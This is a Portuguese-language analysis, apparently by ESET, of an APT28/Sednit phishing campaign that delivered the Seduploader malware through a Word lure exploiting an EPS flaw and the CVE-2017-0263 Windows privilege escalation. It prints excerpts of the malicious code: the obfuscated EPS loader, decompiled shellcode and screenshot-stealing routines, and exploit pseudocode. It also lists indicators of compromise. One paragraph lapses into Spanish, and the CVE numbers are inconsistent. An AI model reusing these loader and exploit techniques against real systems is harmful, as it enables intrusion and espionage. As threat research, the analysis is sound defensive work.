Sednit, também conhecido como APT28, Fancy Bear e Sofacy, é um grupo de atacantes que operam desde pelo menos 2004 e cujo principal objetivo é roubar informações confidenciais dos alvos específicos. Em outubro de 2016, a ESET publicou um white paper intitulada "En Route with Sednit", onde analisa detalhadamente as táticas empregadas e o seu arsenal; além disso, nesse vídeo é descrito o seu modo de operação:

https://www.youtube.com/watch?v=2MHI_Cxi-dA

No mês passado, o grupo voltou à luz, supostamente para interferir nas eleições francesas e mais precisamente para atacar o candidato Emmanuel Macron. No mesmo período, um email de phishing contendo um anexo chamado Trump's_Attack_on_Syria_English.docx (Ataque de Trump à Síria, em inglês) chamou a nossa atenção.

A análise do documento revelou o seu objetivo real: baixar o arquivo Seduploader, a conhecida ferramenta do Sednit para detectar seus alvos de ataque. Para conseguir isso, utilizaram dois exploits 0-day: um para aproveitar uma vulnerabilidade de execução remota do código em Microsoft Word (CVE-2017-0261) e outro para escalar privilégios de usuários locais do Windows (CVE-2017-0263).

A ESET informou ambas as vulnerabilidades para a Microsoft, que nesta semana lançou parches como parte do seu programa habitual de Patch Tuesday.

Neste texto, você poderá conferir toda a descrição do ataque em si e as vulnerabilidades utilizadas para infectar aos alvos.

Do exploit do Word ao dropper Seduploader

O gráfico abaixo mostra que este ataque específico está totalmente de acordo com os metódos de ataque habituais do Sednit, que usa um email de phishing direcionado que contém um arquivo anexo malicioso para instalar um payload conhecido, o qual constitui a primeira etapa do ataque.

Desta vez, o email de phishing foi relacionado ao ataque de Trump à Síria.

O anexo infectado é um documento (usado como isca), que contém uma cópia literal de um artigo intitulado "Trump’s Attack on Syria: Wrong for so Many Reasons" (Ataque de Trump à Síria: um erro por muitas razões), publicado em 12 de abril de 2017 no The California Courier:

É aqui que o ataque se torna interessante. O documento "isca" contém dois exploits que permitem a instalação do Seduploader, como mostra o siguiente esquema:

Esses dois exploits podem ser adicionados à lista de vulnerabilidades 0-day utilizadas pelo Sednit durante os últimos dois anos, como mostramos nesta linha do tempo:

Uma vez aberto, o documento aproveita uma vulnerabilidade do filtro EPS no Microsoft Office, conhecida como CVE-2017-0261. Neste caso, o arquivo EPS malicioso é chamado image1.eps dentro do arquivo .docx:

$ file Trump\'s_Attack_on_Syria_English.docx
Trump's_Attack_on_Syria_English.docx: Zip archive data, at least v2.0 to extrac2
$ unzip Trump\'s_Attack_on_Syria_English.docx
Archive: Trump’s_Attack_on_Syria_English.docx
 inflating: [Content_Types].xml
 inflating: docProps/app.xml
 inflating: docProps/core.xml
 inflating: word/document.xml
 inflating: word/fontTable.xml
 inflating: word/settings.xml
 inflating: word/styles.xml
 inflating: word/webSettings.xml
 inflating: word/media/image1.eps
 inflating: word/theme/theme1.xml
 inflating: word/_rels/document.xml.rels
 inflating: _rels/.rels
$ file word/media/image1.eps
word/media/image1.eps: PostScript document text conforming DSC level 3.0

O arquivo do exploit de EPS está ofuscado por um simples XOR. O EPS fornece a funcionalidade para variáveis XOR e avalia o source (exec). A chave usada aqui é 0xc45d6491 em uma sequência de caracteres hexadecimal grande e o exec é chamado no buffer descriptografado.

$ cat word/media/image1.eps
%!PS-Adobe-3.0
%%BoundingBox:   36   36 576 756
%%Page: 1 1
/A3{ token pop exch pop } def /A2 <c45d6491> def /A4{ /A1 exch def 0 1 A1 length 1 sub { /A5 exch def A1 A5 2 copy get A2 A5 4 mod get xor put } for A1 } def <bf7d4bd9[...]b97d44b1> A4 A3 exec quit

Uma vez descriptografado, o exploit parece muito semelhante ao que foi bem documentado pelo FireEye em 2015. A vulnerabilidade utilizada na época era CVE-2015-2545. A principal diferença é destacada no bloco a seguir, que é a forma como executa a corrupção de memória com a instrução forall.

[...]
500 {
    A31 589567 string copy pop
} repeat
1 array 226545696 forall
/A19 exch def
[...]

Uma vez que a execução do código é obtida, carrega um shellcode que recupera algumas API do Windows não documentadas como NtAllocateVirtualMemoryNtFreeVirtualMemory e ZwProtectVirtualMemory.

[...]
 v1 = (*(__readfsdword(0x30u) + 12) + 12);
 v2 = v1->InLoadOrderModuleList.Flink;
 [...]
 for ( addr_user32 = 0; v2 != v1; v135 = v2 )
 {
   v3 = *(v2 + 48);
   v132 = *(v2 + 44);
   if ( v3 )
   {
     v4 = *v3;
     v5 = 0;
     v6 = 0;
     if ( *v3 )
     {
       do
       {
         if ( v132 && v6 >= v132 )
           break;
         if ( (v4 - 0x41) <= 0x19u )
           v4 += 0x20;
         v2 = v135;
         v7 = __ROL4__(v5, 7);
         ++v3;
         v5 = v4 ^ v7;
         v4 = *v3;
         ++v6;
       }
       while ( *v3 );
       v1 = v133;
     }
     switch ( v5 )
     {
       case kernel32:
         addr_kernel32 = *(v2 + 24);
         break;
       case ntdll:
         addr_ntdll = *(v2 + 24);
         break;
       case user32:
         addr_user32 = *(v2 + 24);
         break;
       }
     }
[...]

Após mais instâncias de descriptografia, o dropper Seduploader é carregado e executado. Observe que toda essa execução ocorre dentro do processo WINWORD.EXE que se executa com os privilégios do usuário atual.

O dropper Seduploader

O Seduploader é composto por dois componentes distintos: um dropper e um payload persistente (veja a página 27 do nosso whitepaper "En Route with Sednit").

Enquanto que o dropper utilizado neste ataque evoluiu desde a última versão que analisamos, o seu objetivo final continua sendo o mesmo: entregar o payload Seduploader. Essa nova versão do dropper agora contém código para integrar o exploit LPE, utilizando-o na vulnerabilidade CVE-2017-2063. A análise detalhada dessa vulnerabilidade é descrita na próxima seção deste artigo.

Em primeiro lugar, o novo código do dropper verifica se o processo está sendo executado em uma versão do Windows de 32 ou 64 bits. Dependendo do resultado, a versão do exploit correta será carregada na memória.

[...]
 if ( Is64Process() == 1 )
 {
     addr_exploit = exploit_64b;
     size_exploit = 0x2E00;
 }
 else
 {
     addr_exploit = exploit_32b;
     size_exploit = 0x2400;
 }
[...]

Quando o exploit for executado corretamente, o dropper Seduploader voltará a ser carregado no espaço de memória do WINWORD e chamará a CreateRemoteThread com o endereço do ponto de entrada do UpLoader, que executará o código encarregado de instalar o payload do Seduploader. Esse código será executado com privilégios do sistema, graças ao exploit.

O payload Seduploader

O payload Seduploader é um downloader usado pelos operadores do Sednit como malware de reconhecimento e é composto por duas partes. A primera é responsável por injetar a segunda parte no processo apropriado, dependendo se é carregado no processo WINWORD.EXE ou não. A segunda parte é o próprio downloader.

Si Seduploader se ejecuta en WINWORD.EXE, su primera parte creará un mutex denominado flPGdvyhPykxGvhDOAZnU y abrirá un identificador en el proceso actual. Dicho identificador se utilizará para asignar memoria y escribir en ella el código de la segunda parte del componente payload, que luego será ejecutado mediante una llamada a CreateRemoteThread. De lo contrario, si no se está ejecutando en WINWORD.EXE, Seduploader utilizará CreateThread para iniciar su segunda parte.

O downloader contém as funções habituais do Seduploader e o algoritmo de criptografia de strings. No entanto, possui algumas mudanças que descrevemos a seguir.

Em primeiro lugar, o algoritmo de hash utilizado para identificar os nomes do DLL e as funções da API que devem ser resolvidas foi substituída por um novo. Os leitores do nosso white paper lembrarão que o algoritmo de hash anterior estava baseado em grande parte no código encontrado no Carberp. Bom, o novo algoritmo tão pouco foi criado desde zero: essa vez, o Sednit usou código muito parececido com o PowerSniff.

Por outro lado, foi adicionada uma nova etiqueta img a mensagem do relatório do Seduploader. Essa etiqueta permite extrair capturas de tela:

[...]
keybd_event(VK_SNAPSHOT, 0x45u, KEYEVENTF_EXTENDEDKEY, 0u);
Sleep(1000u);
keybd_event(VK_SNAPSHOT, 0x45u, KEYEVENTF_EXTENDEDKEY|KEYEVENTF_KEYUP, 0u);
OpenClipboard(0u);
hData = GetClipboardData(CF_BITMAP);
CloseClipboard();
if ( !hData )
  return 0;
GdiplusStartupInput = (const int *)1;
v10 = 0;
v11 = 0;
v12 = 0;
GdiplusStartup(&token, &GdiplusStartupInput, 0);
if ( fGetEncoderClsid((int)L"image/jpeg", &imageCLSID) )
{
  v4 = sub_10003C5F((int)hData, 0);
  ppstm = 0;
  CreateStreamOnHGlobal(0u, 1u, &ppstm);
  v5 = GdipSaveImageToStream(v4[1], ppstm, &imageCLSID, 0);
  if ( v5 )
    v4[2] = v5;
  (*(void (__thiscall **)(_DWORD *, signed int))*v4)(v4, 1);
  IStream_Size(ppstm, &pui);
  cb = pui.s.LowPart;
  v7 = ppstm;
  *a1 = pui.s.LowPart;
  IStream_Reset(v7);
  v1 = j_HeapAlloc(cb);
  IStream_Read(ppstm, v1, cb);
  ppstm->lpVtbl->Release(ppstm);
}
GdiplusShutdown(token);
return v1;
}

Como ocorre sempre, os operadores do Sednit não reinventaram a roda:encontramos várias semelhanças entre a sua implementação da função de captura de tela e o código disponível no stackoverflow. No lugar de usar o GetForegroundWindow para recuperar um identificador da janela de primeiro plano na qual o usuário está trabalhando, o Sednit escolheu usar o keybd_event para enviar uma pulsação da tecla "Imprimir tela" e recuperar a imagen da área de transferência.

A imagem é então codificada em Base64 e adicionada ao relatório, cuja estrutura pode ser vista da seguinte forma:

Etiqueta Valor
id= Número de sério do disco rígido*
w= Lista de processos
None Informação do cartão de interface da rede
sk= Chave de registro**
build= 4 bytes
inject Campo opcional***
img= Captura de tela codificada em Base64

* resultado de “import win32api;print hex(win32api.GetVolumeInformation("C:\\")[1])
** conteúdo de HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum
*** se ativa quando o SEDUPLOADER usa a injeção em um navegador para se conectar à Internet

O grupo Sednit tinha usado antes as capturas de tela. No passado, a funcionalidade foi criada como uma ferramenta separada e autonoma, normalmente invocada pelo Xtunnel em uma etapa posterior de infecção (veja a página 77 do nosso whitepaper), mas agora está incorporada ao Seduploader para usá-la na fase de reconhecimento.

Finalmente, foram adicionadas duas novas funções na configuração: shell LoadLib. A função shell permite ao atacante executar o código arbitrário na memória. A função LoadLib  é um campo de bits que lhe permite executar uma Dll arbitrária ligando a rundll32.exe.

CVE-2017-0263: vulnerabilidade para escalar os privilégios dos usuários

Como funciona o exploit?

como mencionamos anteriormente, para desenvolver o payload Seduploader, o dropper Seduploader obtém privilégios de sistema por meio do aproveitamento de uma vulnerabilidade do LPE (Escalada de privilégios para usuários locais) conhecida como CVE-2017-0263. Nessa seção, descreveremos como o Sednit aproveita essa vulnerabilidade.

Em primeiro lugar, embora a vulnerabilidad afete aos sistemas Windows 7 e posteriores (ao final deste post pode ser vista a lista completa das plataformas afetadas), o exploit está projetado para evitar a sua execução nas versões do Windows 8.1 e posteriores.

Considerando que o exploit pode atacar plataformas de 32 y 64 bits, primeiro determinará se o processo está sendo executado em WOW64. O exploit atribuirá várias páginas até chegar a um alto endereço (0x02010000). Em seguida, criará a seguinte estrutura:

 

struct Payload
 {
   LONG PTEAddress;               // Points to the PTE entry containing the physical address of the page containing our structure. Only used for windows 8+
   LONG pid;                      // Injected process pid;
   LONG offset_of_lpszMenuName;   // Offset of the lpszMenuName in the win32k!tagCLS structure
   LONG offset_of_tagTHREADINFO;  // Offset of the pti field in the win32k!tagWND structure.
   LONG offset_of_tagPROCESSINFO; // Offset of the ppi field in the win32k!tagTHREADINFO structure.
   LONG offset_of_TOKEN;          // Offset of the Token field in the nt!_EPROCESS structure.
   LONG tagCLS[0x100];            // Array containing the tagCLS of the created windows.
   LONG WndProcCode;              // Code of the WndProc meant to be run in kernel mode.
 };

Depois recuperará o endereço do HMValidateHandle. Essa função permite ao atacante obter o endereço do kernel por meio de um objeto tagWND.

A seguir mostramos em linhas gerais como funciona o resto do exploit:

O exploit criará 256 classes de janelas aleatórias e associadas. Cada janela terá 512 bytes de memória adicional. Essa memória adicional é contígua ao objeto tagWND no espaço do kernel. Depois que é criada a primeira janela (ou seja, na memória extra), o exploit cria um objeto falso que conterá principalmente o seu próprio endereço para uso posterior, como pode ser visto na seguinte imagem:

Quando as janelas são criadas, o exploit atribuirá duas janelas adicionais. O propósito da primeira é ser executada em um subprocesso do kernel; vamos chamar essa janela de KernelWnd. A outra receberá principalmente todas as mensagens necessárias e requeridas pelo exploit para completar sua função, vamos chamá-la de TargetWindow. Logo em seguida, o exploit associa esse procedimento com o objeto recém atribuído, o KernelWnd.

// ...
TargetWindow = CreateWindowExW(0x80088u, MainWindowClass, 0, WS_VISIBLE, 0, 0, 1, 1, 0, 0, hModuleSelf, 0);
KernelWnd = CreateWindowExW(0, MainWindowClass, 0, 0, 0, 0, 1, 1, 0, 0, hModuleSelf, 0);
// ...
SetWindowLongW(KernelWnd, GWL_WNDPROC, (LONG)Payload_0->WndProc);

Vamos dar um pouco de contexto para o comportamento do componente win32k. Cada vez que é criada uma nova janela mediante CreateWindowExW, o controlador atribuirá um novo objeto tagWND no kernel. O objeto pode ser descrito da seguinte forma:

kd> dt tagWND
 win32k!tagWND
   +0x000 head             : _THRDESKHEAD
   +0x028 state            : Uint4B
   // ...
   +0x028 bServerSideWindowProc : Pos 18, 1 Bit
   // ...
   +0x042 fnid             : Uint2B
   +0x048 spwndNext        : Ptr64 tagWND
   +0x050 spwndPrev        : Ptr64 tagWND
   +0x058 spwndParent      : Ptr64 tagWND
   +0x060 spwndChild       : Ptr64 tagWND
   +0x068 spwndOwner       : Ptr64 tagWND
   +0x070 rcWindow         : tagRECT
   +0x080 rcClient         : tagRECT
   +0x090 lpfnWndProc      : Ptr64     int64
   +0x098 pcls             : Ptr64 tagCLS
   // ...

Como se pode ver, o tagWND→lpfnWindowProc contém o endereço do procedimento associado com essa janela. Em geral, o controlador diminui os seus privilégios para executar esse procedimento no contexto do usuário. Esse comportamento está controlado pelo bit tagWND→bServerSideProc. Case se estabeleça esse bit, o procedimento será executado com privilégios elevados, ou seja, no kernel. Para que o exploit funcione, é necessário invertir o bit tagWND→bServerSideProc. O atacante só precisa encontrar a forma de intervir.

Durante a construção dos menus, o link previamente configurado testará se a classe do objeto é SysShadow, como pode ser visto no seguinte bloqueio de código. Dessa forma, substituirá o procedimento associado com o seu próprio.

 GetClassNameW(tagCWPSTRUCT->hwnd, &ClassName, 20);
 if ( !wcscmp(&ClassName, STR_SysShadow) )
 {
   if ( ++MenuIndex == 3 )
   {
     // tagWND
     ::wParam = *(_DWORD *)(FN_LeakHandle((int)hWnd[0]) + sizeof_tagWND_0);
     // Replace the WndProc of the object
     SetWindowLongW(tagCWPSTRUCT->hwnd, GWL_WNDPROC, (LONG)FN_TriggerExploit);
   }

Nesse procedimento, é possível observar que o exploit busca a mensagem WM_NCDESTROY. Caso sejam cumpridos todos os requisitos, criará um objeto tagPOPUPMENU malicioso, descrito pelo seguinte pseudocódigo:

if ( Msg == WM_NCDESTROY )
 {
   struct tagPOPUPMENU *pm = BuildFakeObject();
   SetClassLongW(..., pm);
 }

Cabe notar que o endereço utilizado para criar o objeto se encontra dentro da memória adicional atribuída ao final da nossa primeira janela tagWND. Logo em seguida, o exploit se liga a NtUserMNDragLeave  com a finalidade de inverter o bit bServerSideProc da nossa janela KernelWnd. Para isso, a função recuperará um objeto tagMENUSTATE utilizando a estrutura agTHREADINFO. O objeto tagMENUSTATE contém o endereço do objeto do menu que está sendo destruído (tagMENUSTATE→pGlobalPopupMenu).

Como podemos ver, o tagPOPUPMENU é o objeto malicioso que temos criado no espaço de usuário antes de ligar a NtUserMNDragLeave. Ao observar os campos no tagPOPUPMENU malicioso, podemos ver que todos apontam para a memória extra, exceto um, que está focado para o objeto KernelWnd.

De aqui por diante, a execução alcançará a função MNFreePopup, que tem um ponteiro para um objeto tagPOPUPMENU. Eventualmente, esssa função se ligará a HMAssignmentUnlock, passando pelos campos spwndNextPopup e spwndPrevPopup como argumento:

; win32k!HMAssignmentUnlock
 sub     rsp,28h
 mov     rdx,qword ptr [rcx]
 and     qword ptr [rcx],0
 test    rdx,rdx
 je      win32k!HMAssignmentUnlock+0x4f (fffff960`00119adf)
 add     dword ptr [rdx+8],0FFFFFFFFh ; Flipping bServerSideProc
 jne     win32k!HMAssignmentUnlock+0x4f (fffff960`00119adf)
 movzx   eax,word ptr [rdx]

Depois da execução do syscall, nossa estrutura tagWND associada com nossa janela KernelWnd poderá ser vista da seguinte forma:

Está tudo pronto! O único que o exploit precisa fazer é enviar a mensagem correta para ativar a execução do nosso procedimento em modo kernel.

syscall(NtUserMNDragLeave, 0, 0);
 // Send a message to the procedure in order to trigger its execution in kernel mode.
 KernelCallbackResult = SendMessageW(KernelWnd, 0x9F9Fu, ::wParam, 0);
 Status.Triggered = KernelCallbackResult == 0x9F9F;
 if ( KernelCallbackResult != 0x9F9F )
   // Error, try again.
   PostMessageW(TargetWindow, 0xABCDu, 0, 0);

Por último, o procedimento de janela que se executa com privilégios elevados roubará o token do sistema e adicionará o processo de ligação. Depois que o exploit é executado corretamente, o FLTLDR.EXE deveria ser executado com privilégios de sistema e instalar o payload Seduploader.

Resumo

Essa campanha nos mostra que o grupo Sednit não terminou suas atividades. Continuam mantendo os seus velhos hábitos: utilizam métodos de ataque conhecidos, reutilizam código de outros programas maliciosos ou de sites públicos, e cometem pequenos erros tipográficos na configuração do Seduploader (shel em vez do shell).

Também é constante o fato de que uma vez mais tenham melhorado o seu conjunto de ferramentas, desta vez adicionando algumas funções integradas, como a capacidade de fazer capturas de tela e os dois exploits 0-day integrados ao seu arsenal.

Plataformas afetadas pelo CVE-2017-0262 e CVE-2017-0263 (segundo a Microsoft)

CVE-2017-0262

  • Microsoft Office 2010 Service Pack 2 (edições de 32 bits)
  • Microsoft Office 2010 Service Pack 2 (edições de 64 bits)
  • Microsoft Office 2013 Service Pack 1 (edições de 32 bits)
  • Microsoft Office 2013 Service Pack 1 (edições de 64 bits)
  • Microsoft Office 2013 RT Service Pack 1
  • Microsoft Office 2016 (edição de 32 bits)
  • Microsoft Office 2016 (edição de 64 bits)

CVE-2017-0263

  • Windows 7 para sistemas de 32 bits, Service Pack 1
  • Windows 7 para sistemas baseados em x64, Service Pack 1
  • Windows Server 2008 R2 para sistemas baseados em x64, Service Pack 1 (instalação do Server Core)
  • Windows Server 2008 R2 para sistemas baseados em Itanium, Service Pack 1
  • Windows Server 2008 R2 para sistemas baseados em x64, Service Pack 1
  • Windows Server 2008 R2 para sistemas de 32 bits, Service Pack 2 (instalação de Server Core)
  • Windows Server 2012
  • Windows Server 2012 (instalação de Server Core)
  • Windows 8.1 para sistemas de 32 bits
  • Windows 8.1 para sistemas baseados em x64
  • Windows Server 2012 R2
  • Windows RT 8.1
  • Windows Server 2012 R2 (instalação do Server Core)
  • Windows 10 para sistemas de 32 bits
  • Windows 10 para sistemas baseados em x64
  • Windows 10 Versão 1511 para sistemas baseados em x64
  • Windows 10 Versão 1511 para sistemas de 32 bits
  • Windows Server 2016
  • Windows 10 Versão 1607 para sistemas de 32 bits
  • Windows 10 Versão 1607 para sistemas baseados em x64
  • Windows Server 2016 (instalação de Server Core)
  • Windows 10 Versão 1703 para sistemas de 32 bits
  • Windows 10 Versão 1703 para sistemas baseados em x64
  • Windows Server 2008 para sistemas baseados em Itanium, Service Pack 2
  • Windows Server 2008 para sistemas de 32 bits, Service Pack 2
  • Windows Server 2008 para sistemas baseados em x64, Service Pack 2 ou posterior
  • Windows Server 2008 para sistemas baseados em x64, Service Pack 2 (instalação do Server Core)

IoCs

Também disponíveis na conta do Github da ESET.

SHA-1 Nome do arquivo Detecção da ESET
d5235d136cfcadbef431eea7253d80bde414db9d Trump's_Attack_on_Syria_English.docx Win32/Exploit.Agent.NWZ
18b7dd3917231d7bae93c11f915e9702aa5d1bbb image1.eps Win32/Exploit.Agent.NWZ
6a90e0b5ec9970a9f443a7d52eee4c16f17fcc70 joiner.dll Win32/Exploit.Agent.NWV
e338d49c270baf64363879e5eecb8fa6bdde8ad9 apisecconnect.dll Win32/Sednit.BG
d072d9f81390c14ffc5f3b7ae066ba3999f80fee none Win32/Exploit.Agent.NWV

Mutex

flPGdvyhPykxGvhDOAZnU

Chave de registro

HKCU\Software\Microsoft\Office test\Special\Perf